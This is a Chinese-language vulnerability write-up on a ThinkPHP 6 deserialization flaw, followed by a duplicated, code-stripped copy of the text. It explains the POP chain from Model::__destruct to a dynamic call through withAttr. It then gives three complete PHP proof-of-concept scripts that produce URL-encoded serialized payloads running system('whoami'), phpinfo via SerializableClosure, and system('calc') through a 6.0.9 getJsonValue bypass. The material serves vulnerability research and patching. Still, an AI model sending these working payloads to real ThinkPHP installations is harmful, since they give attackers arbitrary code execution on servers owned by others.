ThinkPHP 6 反序列化漏洞
字数 1068 2025-08-05 13:25:37

ThinkPHP 6 反序列化漏洞分析与利用

漏洞概述

ThinkPHP 6 存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在目标系统上执行任意代码。该漏洞主要影响ThinkPHP 6.0.3及以下版本。

环境要求

  • ThinkPHP 6.0
  • Apache
  • PHP 7.3

漏洞分析

触发条件

反序列化漏洞需要存在unserialize()作为触发点。在ThinkPHP 6中,可以通过修改入口文件app/controller/Index.php来设置反序列化触发点。

漏洞链分析

  1. 起始点:在/vendor/topthink/think-orm/src/Model.php中的__destruct方法
  2. 关键调用链
    • __destruct()save()setAttrs()setAttr()
    • 最终通过动态函数调用执行任意代码

关键利用点

  1. 动态函数调用

    $method = 'set' . Str::studly($name) . 'Attr';
    if (method_exists($this, $method)) {
        $value = $this->$method($value, array_merge($this->data, $data));
    }
    
  2. 命令执行点

    $closure = $this->withAttr[$fieldName];
    $value = $closure($value, $this->data);
    

    通过控制$this->withAttr可以执行任意函数。

POP链构造

必要条件

  • $this->lazySave == true
  • $this->data不为空
  • $this->withEvent == false
  • $this->exists == true
  • $this->force == true

利用类

由于Model类是抽象类,需要使用其子类Pivot进行实例化。

基础POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['jiang'=>'whoami'];
    private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

高级利用(使用SerializableClosure)

为了绕过参数限制,可以使用\Opis\Closure\SerializableClosure来序列化闭包函数:

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['jiang'=>''];

        $c=unserialize($b); 
    $this->withAttr=['jiang'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>

6.0.9版本绕过

在ThinkPHP 6.0.9中,可以通过getJsonValue方法触发漏洞:

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['jiang'=>['jiang'=>'calc']];
    private $withAttr=['jiang'=>['jiang'=>'system']];
    protected $json=["jiang"];
    protected $jsonAssoc = true;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;

    function __construct($a = '')
    {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

影响版本

  • ThinkPHP 6.0.0 - 6.0.3(可使用SerializableClosure)
  • ThinkPHP 6.0.0 - 6.0.9(可使用getJsonValue方法)

修复建议

  1. 升级到ThinkPHP最新版本
  2. 避免反序列化用户可控的数据
  3. 在6.0.3版本后,ThinkPHP不再使用opis/closure依赖,减少了攻击面

总结

该漏洞利用ThinkPHP的反序列化机制,通过精心构造的POP链最终实现任意代码执行。关键在于控制withAttr属性来执行动态函数,以及利用SerializableClosure绕过参数限制。理解这个漏洞需要对PHP反序列化、魔术方法和ThinkPHP框架有深入的理解。

ThinkPHP 6 反序列化漏洞分析与利用 漏洞概述 ThinkPHP 6 存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在目标系统上执行任意代码。该漏洞主要影响ThinkPHP 6.0.3及以下版本。 环境要求 ThinkPHP 6.0 Apache PHP 7.3 漏洞分析 触发条件 反序列化漏洞需要存在 unserialize() 作为触发点。在ThinkPHP 6中,可以通过修改入口文件 app/controller/Index.php 来设置反序列化触发点。 漏洞链分析 起始点 :在 /vendor/topthink/think-orm/src/Model.php 中的 __destruct 方法 关键调用链 : __destruct() → save() → setAttrs() → setAttr() 最终通过动态函数调用执行任意代码 关键利用点 动态函数调用 : 命令执行点 : 通过控制 $this->withAttr 可以执行任意函数。 POP链构造 必要条件 $this->lazySave == true $this->data 不为空 $this->withEvent == false $this->exists == true $this->force == true 利用类 由于 Model 类是抽象类,需要使用其子类 Pivot 进行实例化。 基础POC 高级利用(使用SerializableClosure) 为了绕过参数限制,可以使用 \Opis\Closure\SerializableClosure 来序列化闭包函数: 6.0.9版本绕过 在ThinkPHP 6.0.9中,可以通过 getJsonValue 方法触发漏洞: 影响版本 ThinkPHP 6.0.0 - 6.0.3(可使用SerializableClosure) ThinkPHP 6.0.0 - 6.0.9(可使用getJsonValue方法) 修复建议 升级到ThinkPHP最新版本 避免反序列化用户可控的数据 在6.0.3版本后,ThinkPHP不再使用opis/closure依赖,减少了攻击面 总结 该漏洞利用ThinkPHP的反序列化机制,通过精心构造的POP链最终实现任意代码执行。关键在于控制 withAttr 属性来执行动态函数,以及利用SerializableClosure绕过参数限制。理解这个漏洞需要对PHP反序列化、魔术方法和ThinkPHP框架有深入的理解。